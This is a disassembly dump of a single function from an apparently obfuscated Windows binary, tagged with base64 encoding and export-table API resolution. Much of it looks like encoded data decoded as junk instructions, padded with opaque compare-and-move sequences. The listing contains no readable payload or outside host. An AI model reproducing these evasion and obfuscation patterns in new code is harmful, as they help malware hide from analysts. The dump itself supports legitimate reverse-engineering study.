Function at 0x4c8a7c
Capabilities:
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
dec eax
dec eax
pop eax
pop ecx
jns 0x4c862f
pop esp
insd dword es:[edi], dx
push 0x5d
push esi
jns 0x4c8648
jnp 0x4c863c
inc edx
dec eax
pop eax
push ebx
dec edi
dec esp
pop esp
dec ebp
pop ebx
pop edx
push eax
pop edx
bound esp, qword [eax + 0x54]
inc ecx
inc eax
pop ebp
inc edx
dec esp
call 0x4c8601
lea esp, [esp + 2]
mov word [esp], ax
lahf
lock xchg word [esp], ax
add dword [esp + 2], 0x37d
lock xchg word [esp], ax
sahf
mov ax, word [esp]
lea esp, [esp + 2]
ret
jnp 0x4c868b
push edi
jns 0x4c869b
inc esp
push edi
jns 0x4c8688
push ebp
push eax
dec ebx
push esp
jns 0x4c8688
dec ebp
dec esi
inc ebp
jnp 0x4c869c
popal
imul eax, dword [ecx + 0x6e], 0x40
inc eax
pop ebx
inc edi
push ebp
pop ebp
push ebp
pop ecx
inc ebp
dec edx
jnp 0x4c86cd
imul ebp, dword [bp + 0x56], 0x58
dec edx
dec edx
push esi
push esp
pushal
push 0x5d
insd dword es:[edi], dx
imul esp, dword [ebp + 0x61], 0x7b
dec esi
inc edi
js 0x4c86d4
dec esi
pop eax
jns 0x4c86c4
inc edi
push eax
outsb dx, byte [esi]
push ecx
push edi
inc esp
dec edx
outsb dx, byte [esi]
push ebp
inc eax
imul ebx, dword fs:[esi + 0x78], 0x67
popal
jnp 0x4c86df
push ebx
pop eax
push eax
insd dword es:[edi], dx
pop ecx
push esi
dec edx
inc esi
arpl word [edx + 0x6a], cx
bound ebx, qword [esp + eax*2 + 0x41]
dec edx
push 0x62
pop esp
inc esp
inc ecx
jns 0x4c86fa
jnp 0x4c86f7
pop ebp
inc ecx
jnp 0x4c86e7
pop esi
push ecx
pop edi
inc eax
pop esi
cmp edx, 0xcb1e2729
jne 0x4c86fd
cli
sub dword [edi], esp
push ds
retf
push esi
inc esp
push 0x54
imul edx, dword [ecx + 0x63], 0x5f525341
outsd dx, dword [esi]
push eax
pop ecx
push edi
push ecx
imul ecx, dword [edx + 0x43], 0x50
inc esi
dec ecx
inc ebp
inc edi
arpl word [ebp + 0x57], ax
dec esp
pop ebp
pop edi
push 0x56606757
pop ebx
js 0x4c8723
insb byte es:[edi], dx
inc si
pop ebp
pop ecx
inc edx
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
pop ebx
bound ebp, qword [edi + 0x61]
push esi
inc eax
dec eax
pushal
dec esp
pop esi
pushal
dec edx
push ebp
push edx
push ebx
outsb dx, byte [esi]
imul ebp, dword [bx + si + 0x40], 0x456b644d
push 0x6b644d40
inc ebp
pop ebx
pushal
jnp 0x4c874b
push ebp
inc esi
push ebp
pop ecx
pop eax
inc eax
dec edx
insd dword es:[edi], dx
push edx
pop edi
pop ebx
push dword [ebp + 0x2c]
lea eax, [ebp - 0xc]
cmp edi, 0xe7a78c8b
je 0x4c873d
push 0
cmp dword [esp + 0x28], 0xf2574c53
cmove ebx, ebx
push eax
cmp dword [esp + 0x5c], 0x3bfd09b7
jne 0x4c878e
add byte [bx + si], al
add byte [edi + 0x33], ch
shr al, cl
dec ebp
add eax, dword [eax]
add byte [edi + 0x65], al
push eax
outsd dx, dword [esi]
xor edx, edx
call 0x4c8a7c
inc edi
push eax
pop edx
push 0xffffffffffffff80
sti
add dword [ebp + 0x61], esp
inc ebx
inc edx
inc edx
test eax, eax
mov ecx, dword [ebp + 8]
dec esp
pop esp
inc ecx
ror byte [ebx + 0x5c4c084d], 0x41
push edx
push esi
inc esi
push esp
neg eax
push esp
pushal
mov eax, dword [ebp - 4]
sub esp, 0xc
mov byte [eax + 0x100], dl
or byte [eax], al
out 2, eax
add byte [ecx + 0x6c], dl
je 0x4c879a
lea eax, [ebp - 8]
popal
push eax
cmp edi, eax
push 1
call fcn.004bfaad
or edx, eax
pop edi
pop esp
jnp 0x4c87c9
mov dword [ebp - 0x3a4], eax
mov eax, dword [eax + edx*4]
arpl cx, bp
or al, 0xc8
add eax, dword [eax]
push dword [ebp + 0xc]
push esp
pop ecx
outsd dx, dword [esi]
pop esp
popal
ret
push dword [ebp + 0x24]
cmp ebp, 0xe2008469
jne 0x4c87e2
add byte [eax], al
add byte [edx - 0x25a077f0], cl
mov dl, byte [eax]
mov byte [edi - 0x26], bl
arpl word [ecx + 0x63], di
inc eax
mov edx, eax
inc esp
je 0x4c87b4
pop esi
inc ecx
jns 0x4c873a
xor dword [ebp + 0x785f0c47], ecx
pop ebp
js 0x4c8813
bound ebx, qword [ebp + 0x66]
inc di
insd dword es:[edi], dx
palignr xmm3, xmm1, 8
push edi
insb byte es:[edi], dx
pop ecx
inc esp
popal
imul ebp, dword [eax + 0x6e], 0x54
outsb dx, byte [esi]
push esp
inc edx
cmp eax, ecx
jmp 0x4b16745e
push dword [ebp + 0x20]
cmp ebp, 0x174b5f07
je 0x55bdbc
invalid
or dword [eax], eax
push esi
cmp esi, 0x447a41c5
jne 0x4c880d
inc cx
arpl word [ebx + 0x6b], cx
push esi
dec eax
js 0x4c884a
pop eax
push ebp
push eax
dec eax
imul edx, dword [esi - 1], 0x75
adc byte [ecx - 0x4a8fdb84], al
push dword [ebp + 0x10]
cmp dword [esp + 0x70], 0xf5ce06b5
jo 0x4c87ca
push es
into
cmc
cmove edx, ecx
push edi
cmp dword [esp - 0x10], 0x83e799eb
jne 0x4c883e
mov dword [ebp - 0x24], esi
pushal
call 0x4c8716
ret
call 0x4c8891
imul ebp, dword [eax + 0x46], 0x5c474c53
inc ebp
insb byte es:[edi], dx
inc ebx
pop esp
insd dword es:[edi], dx
popal
push ebp
push ecx
push 0x58
dec esp
inc esi
bound eax, qword [ebp + 0x78]
pop ebp
inc esi
inc ecx
jnp 0x4c88b9
jnp 0x4c88c0
inc edx
imul ebp, dword [edx + 0x68], 0x44
pop eax
inc eax
inc edx
dec ebp
dec ebx
inc ebp
push 0x57456b55
push ebp
inc ebx
dec esp
push ebx
insb byte es:[edi], dx
push edi
push 0x68
pop edi
push edi
inc edx
push ecx
pop ebp
inc edx
bound esp, qword [edi + 0x60]
inc ecx
dec esp
dec esp
pop ebp
pop edx
inc ebx
pop ebp
push ecx
inc ebp
push edx
js 0x4c8900
push dword [esp]
add dword [esp], 0xfff44fd4
add dword [esp + 4], 0x83
ret
invalid
jg 0x4c88e2
je 0x4c88c9
jne 0x4c88de
cmp ecx, 0xc01f658d
jne 0x4c8938
pop ds
ror byte [edi], 0x85
add byte [eax], al
add byte [ecx - 0x76f7b], cl
inc dword [eax]
test byte [edi + eax + 0x28], 1
mov dword [ebp - 0x770], eax
add dh, dh
inc esp
pop es
sub byte [ecx], al
je 0x4c88e8
movzx eax, bl
mov eax, dword [0x421080]
ret
mov eax, dword [ebp - 8]
mov eax, dword [ebp + 8]
xor eax, eax
pop edi
inc eax
pop ebp
dec eax
js 0x4c894a
jmp 0x4c88ff
push esi
bound ecx, qword [ebp + 0x6d]
pushal
pop edx
mov eax, dword [ebp + 0xc]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push eax
add al, 0
dec eax
inc esp
push eax
test ebx, ebx
push 0xffffffffffffffff
adc eax, sym.imp.KERNEL32.dll_SetStdHandle
jmp 0x81a4165b
add esp, 0x20
cmp ebx, 0xb140b991
jne 0x4c896a
insd dword es:[edi], dx
pop edi
jnp 0x4c89aa
pop ebp
imul ebp, dword [eax + 0x66], 0x5356454a
push 0x56454a66
push ebx
jns 0x4c89ab
jns 0x4c899c
inc eax
pop eax
push 0x5e5c6255
bound esp, qword [ebp + eax*2 + 0x54]
imul ebx, dword [eax + 0x7b], 0x55
outsd dx, dword [esi]
jnp 0x4c89d4
push esp
push 0x65
pop edi
cmp ecx, 0xd951e78b
cmove esi, eax
pop esi
leave
cmp esi, 0x27402b77
cmove ecx, edx
ret
inc esi
push ebx
push ecx
push 0x5e6b4e49
push bp
cmp ebp, 0xb497838b
cmove ecx, edi
mov ebp, esp
sub esp, 0x14
cmp edx, 0x98912427
jne 0x4c89e7
xchg edi, eax
mov ah, 0xf
inc esp
iretd
outsd dx, dword [esi]
dec edi
push ecx
dec ebp
jne 0x4c89f7
jmp 0x4c8a0e
imul edx, dword [ecx + 0x74], 0xae0fc30a
pop ebp
cld
mov dword [ebp - 0x20], ecx
imul ebp, ecx, 0xffffff95
outsd dx, dword [esi]
dec esp
pop eax
inc edx
push ebx
cmp dword [esp + 0x58], 0xe1bf728d
je 0x4c8a53
push esi
cmp ecx, 0x365825d9
je 0x52be2e
pop eax
je 0x52be2e
push edi
push dword [ebp + 0x18]
cmp dword [esp + 0x7c], 0xd363ed6b
cmove edi, ebx
xor eax, eax
cmp edi, 0x5fe0c7f3
jne 0x4c8a61
dec esi
outsd dx, dword [si]
dec ecx
outsb dx, byte [esi]
pop esi
dec edx
pop edx
jnp 0x4c8a95
inc esp
dec edx
dec esp
pop esi
inc esi
push eax
pop edx
pop ecx
js 0x4c8a73
js 0x4c8a7f
dec ecx
dec ebx
push 0x41
pop ebp
inc ebp
pop edi
jns 0x4c8a8e
inc esi
push ebp
inc edi
jnp 0x4c8a98
pop ecx
push 0x62605856
pop edx
inc ecx
push esi
pop eax
pushal
bound ebx, qword [edx + 0x41]
inc esp
outsd dx, dword [esi]
inc edx
imul edx, dword [edx + 0x4c], 0x51685e44
pop edx
pop esp
push 0x5c645a51
pop eax
inc edx
push edi
insb byte es:[edi], dx
push 0x48675e4e
lea edi, [ebp - 0x14]
cmp edi, 0x14640885
je 0x4c8a53
push dword [ebp + 0x14]
cmp dword [esp + 0x7c], 0xf105f399
add eax, 0xed440ff1
cdq
add eax, 0xed440ff1
add eax, 0xed440ff1
stosd dword es:[edi], eax
cmp ebp, 0x4373a641
jae 0x4c8ac4
jne 0x4c8ac0
jne 0x4c8aba
jne 0x4c8aaf
xor ecx, ecx
test ah, 5
push edx
mov dword [eax], 0xc
les eax, [0xc00c752]
add byte [eax], al
add byte [ecx + 0x4212b0fe], al
add byte [edi + ebx*2 + 0x67], ch
dec eax
add byte [eax], al
cmp esi, 0x4212b0
invalid
adc al, byte [edx]
insb byte es:[edi], dx
pop edi
insb byte es:[edi], dx
js 0x4c8afb
test esi, esi
inc esi
inc esp
cmp dword [ebp + 0xc], eax
mov esp, ebp
mov bh, byte [esi + 4]
jle 0x4c8ab5
je 0x4c8abf
inc ebp
inc esp
arpl word [esi + 0x79], dx
outsd dx, dword [esi]
mov dword [ebp - 0x20], ecx
mov byte [ebp - 0xa], bl
dec ebp
loopne 0x4c8a45
pop ebp
imul byte [ecx - 0x55]
imul ebp, dword [ebx + 0x48247c81], 0xb8526767
stosd dword es:[edi], eax
cmp dword [esp + 0x48], 0xb8526767
dec eax
push edx
mov eax, 0xabee440f
cmove ebp, esi
stosd dword es:[edi], eax
cmp dword [esp - 0x10], 0x21c89c75
je 0x4c8a9a
lea eax, [ebp - 0x14]
cmp dword [esp + 0x44], 0xfc5c93bb
cmove esi, edi
mov edi, dword [ebp + 0x1c]
cmp edx, 0x8047df19
jne 0x4c8b10
push esp
dec ebp
imul esp, dword [ebp + 0x4f], 0x4e
pop ebp
dec di
push ebx
inc edi
inc esi
inc edx
dec ebx
pushal
jnp 0x4c8b4e
dec esi
dec edx
insd dword es:[edi], dx
pop ebp
dec edx
popal
popal
dec edi
inc ebp
inc ebx
push eax
cmp dword [esp + 0x2c], 0xf959f7b9
jne 0x4c8b58
inc eax
push 0x5f5a545c
inc edi
pop esp
jnp 0x4c8b81
push ebx
outsd dx, dword [esi]
imul esp, dword [ecx + 0x60], 0x48516b46
jns 0x4c8b99
push eax
jns 0x4c8baa
bound ecx, qword [ebx + 0x5e]
jnp 0x4c8b88
inc ebp
push eax
dec eax
push eax
dec ecx
push ecx
push esi
popal
push esp
push ebx
push edi
pop esp
push ebx
dec edx
push eax
pop ecx
inc esi
imul edx, dword [edi + 0x62], 0x47
push esi
pop ebp
mov eax, dword [ebp + 8]
cmp dword [esp - 0x18], 0x6111ae01
je 0x4c8ba0
push 0
cmp esi, 0xca3f9449
jne 0x4c8bbd
mov ecx, 0x7ff00000
popal
inc edi
pop ebx
push 0xc3415b44
mov edi, dword [ebp + 0x10]
push eax
push eax
push eax
dec eax
bound ecx, qword [ecx + 0x7b]
jns 0x4c8bf4
dec ebp
push 0xffd0b7e8
inc ebx
jmp 0x14ca4d20
std
add byte [eax], al
jns 0x4c8bde
dec esp
push ebx
dec ebx
dec esp
inc ebx
pop eax
inc esi
leave
jmp 0x6f57fa3c
or ebp, dword [edi - 0x7d]
stc
or dword [ebp - 0x23b27440], eax
mov dword [esi + 0x10], ebx
pop edi
pushal
inc ecx
xor edi, edi
ret
push edi
cmp edx, 0x6f10ac95
je 0x4c8bf6
push dword [eax + 4]
cmp dword [esp + 0x14], 0xb2f5e177
cmove ebx, ebx
push dword [eax]
cmp dword [esp + 0x78], 0xb0cecccf
jne 0x4c8c08
push 0x4564565d
inc edx
push edx
dec eax
dec ecx
pop esp
pop edi
imul bx, word [ebx + 0x51], 0x6c6a
insb byte es:[edi], dx
dec eax
outsb dx, byte [esi]
pushal
pop edx
push edx
dec edx
pop esp
insb byte es:[edi], dx
inc ebp
pop edx
dec ebx
pop eax
push eax
dec ecx
push ecx
dec ebp
pop esp
inc eax
inc ecx
call fcn.004c8c48
mov cl, byte [eax + edx]
add eax, 8
dec edi
jnp 0x4c8c66
js 0x4c8c6e
imul edx, dword [ebx + 0x4e], 0x4f
lea eax, [edx - 1]
lea eax, [ebp - 0xc]
lea eax, [ebp - 0xc]
push 0x45594442
dec edi
pop edi
push esi
outsb dx, byte [esi]
push ecx
dec ebx
xor eax, dword [ecx + 8]
insd dword es:[edi], dx
inc esi
jne 0x4c8cc0
push eax
ja 0x4c8d03
leave
mov dword [ebp - 4], edx
ret
jge 0x4c8c6c
movzx eax, byte [esp + 8]
movzx ecx, byte [ebp + 8]
fstp qword [esp]
or byte [edi], cl
mov dh, 0x4d
or ch, bl
sbb al, 0x24
jle 0x4c8cd3
pop ecx
arpl word [ebp + 0x61], bp
test cl, dl
inc ebp
dec ecx
inc esp
push ebp
push ebx
inc ebx
pop ebx
push eax
bound edx, qword [esp + edx*2 + 0x42]
xor eax, eax
ret
dec ebp
push edi
sub esp, 8
cmp edx, 0xd55698af
je 0x519297
mov ebx, dword [ebp + 0xc]
cmp dword [esp + 0x14], 0xa6abaa37
or al, 0x81
jl 0x4c8cfb
adc al, 0x37
stosb byte es:[edi], al
stosd dword es:[edi], eax
cmpsb byte [esi], byte es:[edi]
je 0x4c8d00
xor edx, edx
cmp dword [esp + 0x48], 0x1a5a5a65
jne 0x4c8cfb
insd dword es:[edi], dx
outsb dx, byte [esi]
pushal
bound eax, qword [esi + 0x4b]
mov ecx, dword [eax + 0x84]
pop ebp
add esp, 0x1c
mov dword [ebp - 4], eax
cld
cmp dword [ebp - 0x14], 0x2d
mov eax, dword [ebp - 0x10]
sete dl
in al, dx
sub eax, 0xff0458b
xchg esp, eax
ret 0x8148
dec eax
cmp dword [esp + 0x2c], 0x5f910445
inc ebp
add al, 0x91
pop edi
je 0x4c8d10
mov dword [ebp - 8], eax
cmp dword [esp - 0x10], 0x3451beab
jne 0x4c8d56
jns 0x4c8d2b
add byte [eax + edx*2 + 0x58], al
push esi
je 0x4c8d65
cmp ecx, edx
ljmp 0x8a47
shr edx, 1
popal
dec edx
pop edi
popal
inc edi
mov al, byte [edx]
pop edx
dec ecx
jnp 0x4c8d9f
outsb dx, byte [esi]
je 0x4c8d3f
cmp ecx, 0x100
inc edx
push 0x6d476a56
add dword [eax], eax
add byte [edx + 0x68], al
push esi
push 0x47
insd dword es:[edi], dx
dec ax
je 0x4c8df7
jne 0x4c8d0b
movsx eax, al
push eax
or eax, 0xffffffff
lea esi, [edx + ebx]
cmp dword [ebp + 0x10], eax
push 0xe9c5aacf
pushfd
call 0x4c8d6a
mov dword [esp], ebx
call 0x4c8dc6
push eax
inc edi
outsb dx, byte [esi]
dec dx
push ebp
inc ebx
pop edx
dec eax
pop esi
inc sp
pushal
insb byte es:[edi], dx
inc edi
push ecx
push esi
pop ebx
pop eax
and al, 4
ret
inc eax
pushal
dec ebp
push esi
popal
dec edi
dec ecx
pop eax
inc ebp
dec esp
push 0x49
js 0x519308
pop ecx
pop eax
push ebx
inc esi
dec edx
inc esp
dec edx
push ebx
pop ebx
pop ebx
pushal
inc edx
dec esp
imul ebp, dword [edi + 0x4b], 0x786f4762
bound eax, qword [ecx + 0x5b]
jns 0x519304
inc esi
retf
invalid
je 0x5c33e0
call 0x52be5a
dec ebx
inc ecx
pop ax
dec ebx
dec ecx
push edx
adc byte [eax], al
pmovmskb edi, xmm0
inc edi
pop ebp
push edi
dec eax
imul ecx, dword [ebx + 0x6a04064c], 0x4a
cmp eax, 0x400
push 0x4e
js 0x52be1d
push dword [esp]
add dword [esp], 0xfffa321b
inc dword [ecx + 0x75042444]
add byte [eax], al
invalid
ret
popal
pop edx
push 0x4a
insd dword es:[edi], dx
pop ecx
inc esp
inc esp
dec edx
push edi
bound eax, qword [ebx + edx*2 + 0x47]
pop edx
dec ebx
jns 0x55be46
insb byte es:[edi], dx
pop edx
dec esp
outsd dx, dword [esi]
dec ebp
popal
pop esp
dec edi
jnp 0x55be20
dec esi
push esi
push eax
outsb dx, byte [esi]
inc esp
jns 0x55be50
push esi
pop ecx
pop ecx
inc esp
dec edx
push ebx
pushal
dec esp
bound edi, qword [ecx + 0x4e]
jns 0x55be3a
imul ecx, dword [eax + 0x57], 0x53695565
dec ebp
pop eax
inc edi
dec eax
insd dword es:[edi], dx
inc esi
push 0x46
dec eax
js 0x55be4d
dec eax
insb byte es:[edi], dx
dec esp
pop eax
insd dword es:[edi], dx
inc esi
inc eax
inc ecx
push esi
mov dword [ebp - 0x10], eax
cmp edi, 0xdf7d4aa5
jne 0x55be75
outsb dx, byte [esi]
pop edx
pop edi
bound edx, qword [edi + 0x44]
push ecx
inc ecx
push ecx
push esi
dec edx
pop eax
pop ebx
push 0x43565b4a
dec edx
pop ebx
push esi
inc ebx
imul ecx, dword [esi + 0x63], 0x64
mov dword [0], ecx
push esi
dec ecx
add byte [ebp + 0x5d], dl
pop ebp
push eax
sub ecx, 4
inc ecx
imul ebx, dword [ecx + 0x58], 0x63475350
mov eax, dword [eax + esi*4]
pop ax
push ebp
inc esi
pop ebp
pop esp
dec esp
je 0x55bef8
add byte [eax], al
add byte [ebx + 0x66], dl
outsb dx, byte [esi]
push ebx
outsb dx, byte [esi]
add eax, 4
lea ecx, [ecx - 0x20]
push ebx
inc edx
inc esi
push esp
dec edi
push 0x65
dec edi
insb byte es:[edi], dx
push ecx
js 0x55beb4
dec ebx
mov eax, edx
insd dword es:[edi], dx
pop edi
pop eax
jns 0x55bed0
dec eax
call 0x565b41
dec eax
inc eax
mov eax, dword [ebp + 0x1c]
cmp eax, 0x2779a123
cmove ebx, eax
push esi
cmp dword [esp + 0x58], 0xc90f89b7
jne 0x55bebf
inc ecx
push 0x49564642
pop ebp
arpl word [ebp + 0x61], ax
arpl word [ebp + 0x6b], bx
push ebx
push edx
push edi
push ebx
pop ecx
popal
inc edi
push esp
push ebp
inc ebp
pop ecx
push ecx
inc esi
inc ebp
inc ebp
push edi
inc edi
push eax
pop esi
inc ebp
dec esp
inc esp
pushal
inc edi
pop ebp
insb byte es:[edi], dx
pop esi
pop edx
push ebx
inc esp
pop ebp
imul esp, dword [edx + 0x6e], 0x8b444769
jne 0x55beca
mov esi, dword [ebp + 8]
cmp ecx, 0x838e57ef
jne 0x55bf17
dec ecx
add byte [eax], al
add al, ch
mov bl, 1
add byte [eax], al
call fcn.0055c086
add dword [eax], eax
add byte [ebx + edi*2 + 0x58], al
inc esp
jnp 0x55bf2e
jnp 0x55bf44
push ebp
inc edx
imul esi, dword [ebp + edx + 0x61], 0x65
mov edi, dword [ebp + 0xc]
verw word [eax]
add byte [eax], al
pop ecx
insd dword es:[edi], dx
dec ebx
push 0xffffffffffffff8a
ret
movd mm0, edx
jmp 0x68af3839
mov dword [ebp - 0xc], eax
cmp dword [esp + 0x48], 0x693e86e5
jne 0x55bf2d
dec esi
pop ebx
inc ebx
insd dword es:[edi], dx
inc ecx
inc ebp
jnp 0x55bf6e
push 0xffffffffffffff8b
mov eax, dword [ebp + 0x20]
cmp eax, 0x29227bbf
inc ebp
and byte [0x29227bbf], bh
cmove ebp, edi
push 0xffff
cmp edi, 0x9762f739
cmove ecx, ecx
inc esp
leave
push dword [ebp + 0x28]
mov dword [ebp - 8], eax
inc ebp
clc
cmp esi, 0xcdf7da13
cmove ebx, edx
mov eax, dword [ebp + 0x24]
cmp dword [esp + 0x70], 0x9b40d8ed
jo 0x55bf4a
fadd dword [eax - 0x65]
cmove ebp, edx
mov dword [ebp - 0x20], esi
cmp dword [esp + 0x10], 0x3268313
je 0x55bf5b
mov dword [ebp - 4], eax
cmp ebx, 0x3ad2f739
jne 0x55bfc2
js 0x55bfcb
pushal
imul eax, dword [ecx + 0x58], 0x42516c49
js 0x55bfd4
bound eax, qword [bx + si + 0x59]
pop edi
dec ebx
inc esp
pop ebp
push esp
pop eax
push esi
pop ebp
push 0x4454
inc esi
pushal
inc edi
pushal
insd dword es:[edi], dx
inc ebx
dec edx
inc esi
dec esp
pop esi
push esp
push 0x6f6c4256
dec ebx
insd dword es:[edi], dx
dec edx
inc ebx
jns 0x55c001
imul edx, dword [eax + 0x57], 0x5c5c4550
push 0x5048415d
jnp 0x55c016
call fcn.0055c047
push ecx
push 0x6c
push esi
pop edx
pop edx
dec ecx
inc esp
push ecx
push ebp
imul eax, dword [eax + 0x5a], 0x65
pop sp
pop sp
insb byte es:[edi], dx
popal
insb byte es:[edi], dx
inc ecx
pop esi
inc edi
dec esp
push edi
inc edx
push 0x6b
bound ecx, qword [edi + 0x4d]
bound ax, dword [esp + ebx*2 + 0x57]
inc esp